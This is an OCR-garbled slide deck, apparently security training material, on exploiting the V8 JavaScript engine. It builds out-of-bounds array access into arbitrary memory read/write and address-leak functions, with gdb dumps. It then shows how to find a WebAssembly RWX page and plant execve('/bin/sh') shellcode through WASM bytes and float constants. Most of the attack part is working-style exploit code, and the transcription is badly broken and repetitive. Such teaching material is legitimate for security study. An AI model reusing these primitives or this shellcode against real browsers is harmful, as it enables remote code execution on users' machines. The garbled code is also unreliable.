ooblindex] | 4 |4 | 5|56 6|77 10|01

ooblindext1l] | c|c|d|d|le|le | f | f | 8|89

Read/Write

A AR Structure

Heap memory

0ob[0] { 0obl0]

<«— 00b_data_addr

<«— target[0] addr

ooblindex] target's value

B
ooblindex+1] {

EAQAST
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08 AAR (Arbitrary Address Read)

Arbitrary Address

AAR

- Reads a Arbitrary Address.

— function AAR (addr){
let index = (addr — oob_data_addr) / 8n;

if ((addr — oob_data_addr) 9% 8n)
return High32(FloatTolnt(coblindex])) +
(Low32(FloatTolnt(ooblindex+1n])) << 32n):
else
return Float Tolnt(ooblindex]):

Heap memory

ooblindex] | 4 |4 | 5|56 6|77 10|01

ooblindext1l] | c|c|d|d|le|le | f | f | 8|89

Read/Write

A AR Structure

Heap memory

0ob[0] { 0obl0]

<«— 00b_data_addr

<«— target[0] addr

ooblindex] target's value

B
ooblindex+1] {

EAQAST
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08 AAR (Arbitrary Address Read)

Arbitrary Address

AAR

- Reads a Arbitrary Address.

function AAR (addr){
—  |efindex = (addr — oob_data_addr) / 8n:

if ((addr — oob_data_addr) 9% 8n)
return High32(FloatTolnt(coblindex])) +
(Low32(FloatTolnt(ooblindex+1n])) << 32n):
else
return Float Tolnt(ooblindex]):

Heap memory

ooblindex] | 4 |4 | 5|56 6|77 10|01

ooblindext1l] | c|c|d|d|le|le | f | f | 8|89

Read/Write

A AR Structure

Heap memory

0ob[0] { 0obl0]

<«— 00b_data_addr

<«— target[0] addr

ooblindex] target's value

B
ooblindex+1] {

EAQAST
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08 AAR (Arbitrary Address Read) Arbitrary Address
Read/Write

AAR A AR Structure

- Reads a Arbitrary Address.

function AAR (addr){
let index = (addr — oob_data_addr) / 8n;
Heap memory - iy
—>  if ((addr — cob_data_addr) % 8n) <+— oob_dafa_aaar
— — blO]
return High32(FloatTolnt(coblindex])) + - { selld
(Low32(FloatTolnt(ooblindex-+1n])) << 32n):

else
return FloatTolnt(ooblindex]):
}
oobl mdex{ target's value |«— target[O] addr
bl +1]
Heap memory ooblindex {
ooblindex] |4 14 |5 |56 |67 |710]01]112]2]3]3

ooblindext1l] | c|c|d|d|e|le | f|f|8/8/92 9| alalbl|b

EAQAST
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08 AAR (Arbitrary Address Read) Arbitrary Address
Read/Write

AAR A AR Structure

- Reads a Arbitrary Address.

function AAR (addr){
let index = (addr — oob_data_addr) / 8n;

== ———————— e e ———— - Heap memory
— 1 if ((addr — oob_data_addr) 9% 8n) : 00bl0] { <— oob_data_addr

] : value
i return High32(FloatTolnt(coblindex])) + ]
: (Low32(FloatTolnt(ooblindex+1n])) << 32n); :
“else oo EEEEmmmT T T ________________

I
: return Float Tolnt(ooblindex]) i We handle like this

I

! ooblindex] {|  0x00112233 | 0x44556677 |+ targef[0] addr

‘ v ooblindex+1] { Ox889%aabb Oxccddeeff
High32  Heap memory

ooblindex] : 4145|5166 |7 7340101111121 2|3]|3

oob[indexH]ccddeeff:889900bb
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08 AAR (Arbitrary Address Read) Arbitrary Address
Read/Write

AAR A AR Structure

- Reads a Arbitrary Address.

function AAR (addr){
let index = (addr — oob_data_addr) / 8n;
Heap memory
if ((addr — oob_data_addr) % 8n) +— oob_data_oddr
. | oob[0] value
return High32(FloatTolnt(coblindex])) +
(Low32(FloatTolnt(ooblindex-+1n])) << 32n):

—>  clse

return Float Tolnt(ooblindex]):

J <«— target[0] addr
ooblindex] { Ox00112233 Ox44556677
ooblindex+1] { 0x889%aabb Oxccddeeff
Heap memory
oob[index]:4455éé77001W2233:
ooblindex+1l | c|c|d|d|ele|f | f | 88992 alalb|b
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09 AAW (Arbitrary Address Write) Arbitrary Address
Read/Write

AAW AAW Structure

- Writes to a Arbitrary Address.

function AAW (addr, val){
let index = (addr — oob_data_addr) / 8n:

Heap memory

if ((addr — oob_data_addr) % 8n) { <«— 00b_data_addr

ooblindex] = IntToFloat(Low32(Float Tolnt(ooblindex])) + o0bl0] { 00blO]
(Low32(val) << 32n)):
ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))

}I , <«— farget[0] addr
else ooblindex] { target s value
ooblindex] = IntToFloat(val):
L ooblindex+1] {
Heap memory
ooblindex] | 4 |4 |5 |5|6|6|7]7/0]0]1|1]2]2|3|3

ooblindex+1l | c|c|d|d|el|le | f|f|8]8]92 |92 alal|bl|b
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09 AAW (Arbitrary Address Write)

Arbitrary Address
Read/Write
AAW AAW Structure
- Writes to a Arbitrary Address.
— function AAW (addr, val){
let index = (addr — oob_data_addr) / 8n:
Heap memory
if ((addr — oob_data_addr) % 8n) { o101 { <+— oob_dafa_addr
ooblindex] = IntToFloat(Low32(FloatTolnt(ooblindex])) o0 o0oblO]
(Low32(val) << 32n));
ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))
}I , <«— farget[0] addr
else ooblindex] { target s value
ooblindex] = IntToFloat(val):
} ooblindex+1] {
Heap memory
ooblindex] | 4 | 4 | 5

516167710

ooblindex+1] | ¢
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09 AAW (Arbitrary Address Write)

Arbitrary Address
Read/Write
AAW AAW Structure
- Writes to a Arbitrary Address.
function AAW (addr, val){
—> et index = (addr — oob_data_addr) / 8n:
Heap memory
if ((addr — oob_data_addr) % 8n) { o101 { <+— oob_dafa_addr
ooblindex] = IntToFloat(Low32(FloatTolnt(ooblindex])) o0 o0oblO]
(Low32(val) << 32n));
ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))
}I , <«— farget[0] addr
else ooblindex] { target s value
ooblindex] = IntToFloat(val):
} ooblindex+1] {
Heap memory
ooblindex] | 4 | 4 | 5

516167710

ooblindex+1] | ¢

91
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09 AAW (Arbitrary Address Write)

Arbitrary Address
Read/Write
AAW AAW Structure
- Writes to a Arbitrary Address.
function AAW (addr, val){
let index = (addr — oob_data_addr) / 8n:
Heap memory
—>  if ((addr - cob_data_addr) % 8n) { o[0] { <«— 00b_data_addr
ooblindex] = IntToFloat(Low32(FloatTolnt(ooblindex])) oo oob(O]
(Low32(val) << 32n));
ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))
}
else ooblindex] { target's value |+— target[O] addr
ooblindex] = IntToFloat(val):
} ooblindex+1] {
Heap memory
ooblindex] | 4 | 4 | 5

516167710

ooblindex+1] | ¢
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09 AAW (Arbitrary Address Write) Arbitrary Address
Read/Write

AAW AAW Structure

- Writes to a Arbitrary Address.

function AAW (addr, val){
let index = (addr — oob_data_addr) / 8n:

if ((addr — oob_data_addr) % 8n) {
ooblindex] = IntToFloat(Low32(Float Tolnt(coblindex])) +

] - Heap memory
! i
l :
: (Low32(val) << 32n)); :
| |
! i
! i
1 i

0ob[0] { 0obl0]

<«— 00b_data_addr

ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))

ooblindex] = IntToFloat(val):

T
: ooblindex] { 0x00N2233 Oxdeadbeef |+— target[O] addr
i ooblindex+1] { Oxdeadbeef Oxccddeeff

High32  Heap memory
ooblindex]f d|e|a|d|blele|flO0]O0|1]|1][2]2]|3]|3

oob[indexH]ccddeeff:deadbeef

EAQAST
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09 AAW (Arbitrary Address Write)

Arbitrary Address
Read/Write
AAW AAW Structure
- Writes to a Arbitrary Address.
function AAW (addr, val){
let index = (addr — oob_data_addr) / 8n:
Heap memory
if ((addr — oob_data_addr) % 8n) { o101 { <+— oob_dafa_addr
ooblindex] = IntToFloat(Low32(FloatTolnt(ooblindex])) o0 o0oblO]
(Low32(val) << 32n));
ooblindex+1n] = IntToFloat(High32(val) +
(High32(FloatTolnt(ooblindex+1n])) <<32n))
¥
» <«— farget[0] addr
—t else oob[index] { Oxdeadbeefdeadbeef
ooblindex] = IntToFloat(val):
} ooblindex+1] {
Heap memory
ooblindex] ! d

€ a d b S € _f__(; _e_ aldlblelelf

ooblindex+1] | ¢

94
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10 Arbitrary Address Read/Write

Arbitrary Address

Get an
Address

Example 7/

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){-}
function AAR(addr){-}
function AAW (addr{-}

var oob = [1.1];

var find_addr = [{}];

oob.splice(=2):

var target = [1.1] /] we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[0]'s pointer

print("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)); // change value 1.1to 2.2
print("After value: *, IntToFloat((AAR(target_data_addr)))):  // check value
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10 Arbitrary Address Read/Write

Arbitrary Address

Get an
Address

Example 7/

// target_rw.js

> {--- Utility Functions -}
function AddrOf(obj){-}
function AAR(addr){-}
function AAW (addr{-}

var oob = [1.1];

var find_addr = [{}];

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[0]'s pointer

print("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)); // change value 1.1to 2.2
print("After value: *, IntToFloat((AAR(target_data_addr)))):  // check value
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10 Arbitrary Address Read/Write Arbitrary Address Get an
Read/Write Address

Example 7 eap memery — Oxdad44

oob elements

// target_rw.js

<+— Ox4adb4

" . oob_obj_addr
{-- Utility Functions -}

function AddrOf(obj){ -}
function AAR(addr){--}
function AAW (addr){---}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

— var oob_obj_addr = AddrOf(oob) —OxIn: // oob array s object pointer

var oob_data_addr = oob_obj_addr—0x8n:  // 0ob[0]'s pointer // DebugPrint Result of
var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer DebugPrint: 0x14bc000 : [JISArray]
- map: 0x14bc0018efbl <Map[16] ..
orint("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O] - prototype: 0x14bc0018e925 <JSArray[0]>
AAW (target_data_addr, FloatTolnt(2.2)): // change value 1.1 to 2.2 - length: -1 _
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value - elements: 0x14bc000 <FixedDoubleArray[1] ..
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10 Arbitrary Address Read/Write Arbitrary Address Get an
Read/Write Address
H
Example 7/ o memony «— Ox4ad44
+ 0Ox8 ( oob elements
<+— Ox4ad4c
/] target_rw.js oob_data_addr (oob[0])

<+— Ox4adb4

- , oob_obj_addr
{-- Utility Functions -}

function AddrOf(obj){ -}
function AAR(addr){--}
function AAW (addr){---}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
— var oob_data_addr = cob_obj_addr—0x8n:  // 0obl0]'s pointer
var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer

// view memory via gdb

var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer x/16gx AR
0x14bc0004ad44: 0x0000000200000851

print("Initial value: *, IntToFloat((AAR (target_data_addr)))): // read target[0] 0x14bc0004ad54: 0x000006cd0018efbl OxFFFFFFFe0004ad45
AAW (target_data_addr, FloatTolnt(2.2)): // change value 1.1to 2.2 .

orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value
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10 Arbitrary Address Read/Write

Arbitrary Address Get an

Example 7/

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){-}
function AAW (addr){ -}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer

> var oob_data_addr = oob_obj_addr—=0x8n:  // 0obl0]'s pointer
var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer

orint("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)): /| change value 1.1 to 2.2
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value

Read/Write Address

Heap memory

<+«— Ox4a0d44
oob elements

C b_data_addr (0obl0]) < Oxfladdc
— OO ara _d r\oo
Ox8 E—— <«— Ox4ad54
oob_obj_addr

// view memory via gdb

x/16gx

0x14bc0004ad44: 0x0000000200000851
0x14bc0004ad54: 0x000006cd0018efbl Oxfffffffe0004ad45
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10 Arbitrary Address Read/Write Arbitrary Address Get an
Read/Write Address
Heap memor
Exomple / - ’ +— Ox4ad44
oob elements
<+— Ox4ad4c
/] target_rw.js oob_data_addr (oobl0])
<+— Ox4adb4
" . oob_obj_addr
{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){-}
function AAW (addr{-}
<+— Ox4adbc
var oob = [1.1]; target elements
var find_addr = [{}]:
oob.splice(=2): +— Ox4adcc
var target = [11] /] we will insert shellcode in it later. target_obj_addr

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer

var oob_data_addr = oob_obj_addr—0x8n:  // 0oblO]'s pointer // DebugPrint Result of
— var target_obj_addr = AddrOf(target) —OxIn: // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer DebugPrint: : [JISArray]
- map: 0x14bc0018efbl <Map[16] ..
orint("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O] - prototype: 0x14bc0018e925 <3SArray[0]>
AAW (target_data_addr, FloatTolnt(2.2)); /] change value 1.1 1o 2.2 - length: 1 _
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value - elements: <FixedDoubleArray[1] ..
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10 Arbitrary Address Read/Write

Example 7/

—

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){-}
function AAW (addr){ -}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
b var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer

orint("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)): /| change value 1.1 to 2.2
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value

Arbitrary Address Get an

Read/Write

Address

Heap memory

oob elements

<+«— Ox4a0d44

oob_data_addr (oob[0])

<+— Ox4ad4c
<+— Ox4adb4

oob_obj_addr

+ Ox8 ( target elements

// view memory

x/16gx

0x14bc0004adbc:
0x14bc0004adcc:

101

+— Ox4adbc
<+«— (Ox4aodcd

target_data_addr (target[0])

target_obj_addr

<+«— (Ox4adcc

via gdb

0x0000000200000851
0x000006cd0018efbl

0x000000020004adbd
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10 Arbitrary Address Read/Write

Example 7/

—

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){-}
function AAW (addr){ -}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
b var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer

orint("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)): /| change value 1.1 to 2.2
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value

Arbitrary Address
Read/Write

Get an
Address

Heap memory

oob elements

<+«— Ox4a0d44

oob_data_addr (oob[0])

<+— Ox4ad4c
<+— Ox4adb4

oob_obj_addr

target elements

+— Ox4adbc
<+«— (Ox4aodcd

~ 0x8 C target_data_addr (target[0])

target_obj_addr

<+«— (Ox4adcc

// view memory via gdb

x/16gx

0x14bc0004adbc: 0x0000000200000851
0x14bc0004adcc: 0x000006cd0018efbl
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10 Arbitrary Address Read/Write

Example 7/

—

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){-}
function AAW (addr){ -}

var oob = [1.1];

var find_addr = [{}]:

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer

> print(“Initial value: *, IntToFloat((AAR (target_data_addr)))): // read target[O]
AAW (target_data_addr, FloatTolnt(2.2)): /| change value 1.1 to 2.2
orint("After value: *, IntToFloat((AAR (target_data_addr)))):  // check value

103

Arbitrary Address
Read/Write

Get an
Address

Heap memory

oob[0] JL

oob elements

oob_data_addr (oob[0])

oob_obj_addr

<+«— Ox4a0d44

<+— Ox4ad4c
<+— Ox4adb4

ooblindex]

target elements

target[0] = 1.1

target_obj_addr

// Result of execution (target_rw.js)

+— Ox4adbc
<+«— (Ox4aodcd

<+«— (Ox4adcc
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10 Arbitrary Address Read/Write

Arbitrary Address

Get an
Address

Example 7/

// target_rw.js

{-- Utility Functions -}
function AddrOf(obj){-}
function AAR(addr){-}
function AAW (addr{-}

var oob = [1.1];

var find_addr = [{}];

oob.splice(=2):

var target = [1.1] /| we will insert shellcode in it later.

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[0]'s pointer

print("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O]

— AAW (target_data_addr, FloatTolnt(2.2)): // change value 1.1to 2.2

print("After value: *, IntToFloat((AAR(target_data_addr)))):  // check value

104

Read/Write

Heap memory

oob[0] ‘[

oob elements

oob_data_addr (oob[0])

oob_obj_addr

<+«— Ox4a0d44

<+— Ox4ad4c
<+— Ox4adb4

ooblindex]

target elements

target[0] = 2.2

target_obj_addr

+— Ox4adbc
<+«— (Ox4aodcd

<+«— (Ox4adcc

EAQAST
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111 Exploitation

10 Arbitrary Address Read/Write Arbitrary Address Get an
Read/Write Address

Heap memor
Exomple / - ’ +— Ox4ad44
oobl[0] JL oob elements
<+«— Ox4ad4c
/] target_rw.js oob_data_addr (oobl0])
<+«— Ox4adb4
" . oob_obj_addr
{-- Utility Functions -}
function AddrOf(obj){ -}
function AAR(addr){--}
function AAW (addr){--}
' +«— Ox4adbc
var oob = [1.1]; ooblindex] target elements
var find_addr = [{}]: _ «— Ox4adc4
, | target[0] = 2.2
oob.splice(=2): +— Ox4adcc
var target = [11] /] we will insert shellcode in it later. target_obj_addr

var oob_obj_addr = AddrOf(oob) — OxIn: // cob array s object pointer
var oob_data_addr = oob_obj_addr—0x8n:  // 0obl0]'s pointer

var target_obj_addr = AddrOf(target) — OxIn:  // target’'s object pointer
var target_data_addr = target_obj_addr—0x8n: // target[O]'s pointer

// Result of execution (target_rw.js)

. y Initial value: 1.1
print("Initial value: *, IntToFloat((AAR(target_data_addr)))): // read target[O] el yete

AAW (target_data_addr, FloatTolnt(2.2)): /| change value 1.1 to 2.2
— print("After value: *, IntToFloat((AAR(target_data_addr)))):  // check value

EAQAST
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Sandbox
Escape
* Finding RWX Space

*  Writing Shellcode using
WASM

* Finding Shellcode
Enfry—point

EAQAST
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111 Exploitation

N WASM Find Write a Find a

Exploit

rwx space shellcode Entrypoint

WASM (WebAssembly) C++ WASM (.wat)

- Binary instruction format ot main01 (module

- Efficient and fast v | (type (0) (func (param i64 i64))

- Can use with JQ\/QSQ’ipT ; ' (func (O:) (type 0) (param i64 i64))
- Represented in both text format(.wat) and binary format(.wasm) lexport ‘main- (func 0)))

WASM (.wasm)

C/ Offset(h) 00 01 0Z 03 04 05 06 07 08 09 OA 0B OC OD OF OF Decoded text
00000000 EEETT;"'_'?'3"5'1:-"51":-':-"55':7:7'51"?E'GE'E?-'EE'::'E'?E":-':-'E LESM....... e
- l:> Machine Code 00000010 {03 02 01 00 07 08 01 04 6D 61 69 6E 00 00 OR 04} ........ main....

1
1

or 00000020 101 02 00 OB T
Comp”e Comp”e ----------------------- 1“ ------------------------

‘wat (emcc, wabt) (Liftoff) \

JavaScript (.js) RN

 /
var wasm_code = new Uint8Array([0x00, Ox61, 0x/3, Ox6D, 0x01, 0x00, 0x00,
- emcc: https://emscripten.org/docs/getting_started/downloads.html 0x00. Ox01 0x06, 0x01. Ox60, 0x02. Ox7E. Ox7E, Ox00. 0x03. 0x02, Ox01 0x00.

- wabt: https://github.com/WebAssembly/wabt 0x07. 0x08. Ox01 0x04. 0x6D. Oxb] 0x69, Ox6E, 0x00, 0x00, OxOA, Ox04. OxOl

0x02, 0x00, OxOBI):

EAQAST

Experts, Qualified Security Team
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111 Exploitation

2 RWX Space (1) Find Write a Find a

Cpleft rwx space shellcode Entrypoint

Example 8

/] wasm_ex.js

var wasm_code = new Uint8Array([0x00, Ox61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x06, 0x01, Ox60, 0x02, Ox7E, Ox7E, 0x00, 0x03, 0x02, Ox01, 0x00, 0x07/, 0x08
Ox01, 0x04, Ox6D, 0x61, 0x69, Ox6E, 0x00, 0x00, OxOA, 0x04, 0x01, 0x02, 0x00, OxOB]J):

var wasm_module = new WebAssembly.Module(wasm_code):

var wasm_instance = new WebAssembly.Instance(wasm_module):

var f = wasm_instance.exports.main:

%DebugPrint(wasm_instance):

while(1):

DebugPrint: 0x3a3a0019aal5: [wasmInstanceObject] in OldSpace

- map: 0x3a3a001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3a3a0019144d <Object map = 0x3a3a0019a9ed>

- elements: 0x3a3a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]

- indirect_function_table_targets: 0x3a3a00006175
<ExternalPointerArray[0]>

- 1isorecursive_canonical_types: 0x55778e5d56c0

- jump_table_start: 0x1c65b256b000

EAQAST

1 08 Experts, Qualified Security Team



111 Exploitation

2 RWX Space (2) Find Write a Find a

Cpleft rwx space shellcode Entrypoint

Example 8

/] wasm_ex.js

var wasm_code = new Uint8Array([0x00, Ox61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x06, 0x01, Ox60, 0x02, Ox7E, Ox7E, 0x00, 0x03, 0x02, Ox01, 0x00, 0x07/, 0x08
Ox01, 0x04, Ox6D, 0x61, 0x69, Ox6E, 0x00, 0x00, OxOA, 0x04, 0x01, 0x02, 0x00, OxOB]J):

var wasm_module = new WebAssembly. Module(wasm_code):

var wasm_instance = new WebAssembly.Instance(wasm_module):

var f = wasm_instance.exports.main:

%DebugPrint(wasm_instance):
while(1):

DebugPrint: 0x3a3a0019aal5: [wasmInstanceObject] in OldSpace

- map: 0x3a3a001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3a3a0019144d <Object map = 0x3a3a0019a9ed>

- elements: 0x3a3a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]

- indirect_function_table_targets: 0x3a3a00006175
<ExternalPointerArray[0]>
- 1isorecursive_canonical_types: 0x55778e5d56c0

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Offset File

0x2c3600000000  0x2c3600040000 rw-p 0 [anon_2c3600000]
0x2c3600040000  0x2c3610000000 ---p 0 [anon_2c3600040] E Qs T

1 09 Experts, Qualified Security Team
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12 RWX Space (3)

Example 8

Exploit

Find
rwx space

G
{ PRACTICE
. AW$'

ACTNS

Write a Find @
shellcode Entrypoint

/] wasm_ex.js

var wasm_code = new Uint8Array([0x00, Ox61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x06, 0Ox01, Ox60, 0x02, Ox/E, Ox7E, 0x00, 0x03, 0x02, 0x01, 0x00, 0x07/, 0x08
O0xQ1, 0x04, Ox6D, 0x61, 0x69, Ox6E, 0x00, 0x00, OxOA, 0x04, 0Ox01, 0x02, 0x00, OxOB]):

var wasm_module = new WebAssembly.Module(wasm_code):
var wasm_instance = new WebAssembly.Instance(wasm_module):
var f = wasm_instance.exports.main:
%DebugPrint(wasm_instance):

while(1):

DebugPrint: 0x3a3a0019aal5: [wasmInstanceObject] in OldSpace

- map: 0x3a3a001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3a3a0019144d <Object map = 0x3a3a0019a9ed>

- elements: 0x3a3a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]

- indirect_function_table_targets: 0x3a3a00006175
<ExternalPointerArray[0]>
- isorecursive_canonical_types: 0x55778e5d56c0

vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

Start End Perm Offset File

0x1c65b256b000  0x1c65b256c000 rwxp [anon_1c65b256b]
0x2c3600000000 0x2c3600040000 rw-p [anon_2c3600000]
0x2c3600040000 0x2c3610000000 ---p [anon_2c3600040]

110

x/10gx 0x3a3a0019aal5 - 1

0x3a3a0019aal4:
0x3a3a0019aa?24:
0Ox3a3a0019aa34:
0x3a3a0019aa44:
0Ox3a3a0019aab54:

0x000006cd001913al
0x00000e69000006cd
0x0000000000000€69
0x0000000000000000
OxfFFFFFFFFFO00000

WasmlnstanceObject + 0x48n

jump_table_start pointer

0x000006cd000006cd
0x00000e6900006175
OxFFFFFFFFFF000000
0x000055778e5d56C0

EAQAST
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13 Shellcode (1) Find Write a Find @

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

| var wasmCode = new Uint8Array(l

: 0x00, Ox61, 0x/3, Ox6d, 0x01, 0x00, 0x00, 0x00, Ox01, 0x05, OxO1, 0x60, 0x00,

: 0x01, Ox/c, 0x03, 0x02, Ox01, 0x00, 0x0/, 0x09, Ox01, 0x05, Ox/3, Ox/0, Ox/2,

i Ox61, 0x/79, 0x00, 0x00, Ox0a, 0x53, 0x01, Ox51, 0x00, 0x44, 0x20, 0x20, 0x90,
: 0x90, 0x90, 0x90, Oxeb, Ox0/, Ox44, 0x68, Ox2f, Ox/3, 0x68, 0x00, Ox5b, Oxeb,
: O0x0/, Ox44, Ox68, Ox2f, 0x62, 0x69, Oxbe, Ox59, Oxeb, 0x0/, 0x44, 0x48, Oxcl,
: Oxe3, 0x20, 0x90, 0x90, Oxeb, 0x0/, Ox44, 0x48, 0x01, Oxcb, 0x53, 0x20, Ox90,
: Oxeb, 0x07/, 0x44, 0x48, 0x89, Oxe/, Oxba, Ox3b, 0x58, Oxeb, Ox0/, Ox44,

i 0x48, Ox31, Oxf6, 0x48, Ox31, Oxd2, Oxeb, Ox0/, Ox44, Ox0f, Ox05, 0x20, 0x%0,

! 0x90, 0x90, Oxeb, 0x07, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb

1
L)
1
1

EAQAST
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13 Shellcode (1) Find Write a Find @

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

EAQAST
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111 Exploitation

13 Shellcode (1) Find Write a Find @

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

| 0x07eb909090909090
! 0x07eb5b0068732f68
1 Ox07eb596eb69622168
| 0x07eb909020e3c148
:

1

1

1

1

1

0x07eb?09053cb0148
Ox0/ebb83bbae/8948
0x07ebd23148f63148

0x07eb?09202020050f

EAQAST
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111 Exploitation

13 Shellcode (1) Find Write a Find @

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

| 0x07eb909090909090
! 0x07eb5b0068732f68
1 Ox07eb596eb69622168
| 0x07eb909020e3c148
:

1

1

1

1

1

0x07eb?09053cb0148
Ox0/ebb83bbae/8948
0x07ebd23148f63148

0x07eb?09202020050f

ar wasmCode = new Uint8Array([

I
I
0x00, Ox61, Ox73, Oxbd, -, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1
I
I

<

)i

—

EAQAST
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111 Exploitation

13 Shellcode (1) Find Write a Find @

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

CTTT T S TTo T (module
execvelfbIn/shil 8 (func (export “spray) tresult fo4) ___ D)
e m i — - Fm—————- l y f64.const 1.6305242/7/5809e-2/0
. | f64.const 1.6181477236817195¢-270 !
________ | | F64.const 1.6177848829038078e-270 1
0x07eb909090909090 | 64 const 1.630523884017562¢-270 |
0x07ebbb0068732f68 1 f64.const 1.6305240634909753e-270 1
0x07eb596e69622f68 ! f64.const 1.6175077909294658e-270
1
0x07eb909053ch0148 !
0x076b583b60e78948 elicle
0x07ebd23148f63148
drop

1
1
1
1
1
| 0x07eb909020e3c148
1
1
1
1
1
1
1

0x07eb?0909090050f ! )

EAQAST
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111 Exploitation

13 Shellcode (1) . Find Write a Find o

Exploit

rwx space shellcode Entrypoint

How to make Shellcode?

"""""""" (module
| o] i (func (export _Sargv_>_<r_es_uli ieq) @
S [ ! | 64.const 1.63052427775809¢-270 1

I - f64.const 1.6181477236817195¢-270 |
________ | Z | f64.const 1.617/78488290380/8e-270 1
| 0x07eb909090909090 1 | 64 const 1.630523884017562¢-270 |
! 0x07eb5b0068732f68 : | F64.const 1.6305240634909753e-270 |
1 0x0/eb596e69622168 : ' f64.const 1.6175077909294658e-270
